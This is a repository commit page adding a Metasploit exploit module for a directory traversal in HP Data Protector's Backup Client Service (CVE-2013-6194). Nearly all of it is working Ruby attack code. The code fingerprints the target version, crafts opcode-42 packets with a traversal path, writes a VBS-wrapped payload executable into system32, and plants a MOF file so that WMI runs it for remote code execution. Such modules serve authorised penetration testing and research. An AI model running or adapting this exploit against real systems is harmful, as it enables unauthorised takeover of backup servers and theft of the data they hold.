Land #2891 - HP Data Protector Backup Client Service Directory Traversal
commit
7cc3c47349
|
@ -0,0 +1,157 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Data Protector Backup Client Service Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
|
||||
Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe)
|
||||
when parsing packets with opcode 42. This module has been tested successfully on HP Data
|
||||
Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brian Gorenc', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-6194' ],
|
||||
[ 'OSVDB', '101630' ],
|
||||
[ 'BID', '64647' ],
|
||||
[ 'ZDI', '14-003' ],
|
||||
[ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048, # Payload embedded into an exe
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 5
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 02 2014'))
|
||||
|
||||
register_options([Opt::RPORT(5555)], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
fingerprint = get_fingerprint
|
||||
|
||||
if fingerprint.nil?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
print_status("#{peer} - HP Data Protector version #{fingerprint}")
|
||||
|
||||
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
|
||||
minor = $1.to_i
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if minor < 21
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif minor == 21
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Setup the necessary files to do the wbemexec trick
|
||||
vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
|
||||
exe = generate_payload_exe
|
||||
vbs = Msf::Util::EXE.to_exe_vbs(exe)
|
||||
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
|
||||
mof = generate_mof(mof_name, vbs_name)
|
||||
|
||||
# We can't upload binary contents, so embedding the exe into a VBS.
|
||||
print_status("#{peer} - Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...")
|
||||
upload_file("windows\\system32\\#{vbs_name}", vbs)
|
||||
register_file_for_cleanup(vbs_name)
|
||||
|
||||
print_status("#{peer} - Sending malicious packet with opcode 42 to upload the mof file #{mof_name}")
|
||||
upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
|
||||
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def build_pkt(fields)
|
||||
data = "\xff\xfe" # BOM Unicode
|
||||
fields.each do |v|
|
||||
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
|
||||
data << Rex::Text.to_unicode(" ") # Separator
|
||||
end
|
||||
|
||||
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
|
||||
return [data.length].pack("N") + data
|
||||
end
|
||||
|
||||
def get_fingerprint
|
||||
ommni = connect
|
||||
ommni.put(rand_text_alpha_upper(64))
|
||||
resp = ommni.get_once(-1)
|
||||
disconnect
|
||||
|
||||
if resp.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
|
||||
end
|
||||
|
||||
def upload_file(file_name, contents)
|
||||
connect
|
||||
pkt = build_pkt([
|
||||
"2", # Message Type
|
||||
rand_text_alpha(8),
|
||||
rand_text_alpha(8),
|
||||
rand_text_alpha(8),
|
||||
rand_text_alpha(8),
|
||||
rand_text_alpha(8),
|
||||
"42", # Opcode
|
||||
rand_text_alpha(8), # command
|
||||
rand_text_alpha(8), # rissServerName
|
||||
rand_text_alpha(8), # rissServerPort
|
||||
"\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate
|
||||
contents # Certificate contents
|
||||
])
|
||||
sock.put(pkt)
|
||||
sock.get_once
|
||||
# You cannot be confident about the response to guess if upload
|
||||
# has been successful or not. While testing, different result codes,
|
||||
# including also no response because of timeout due to a process
|
||||
# process execution after file write on the target
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue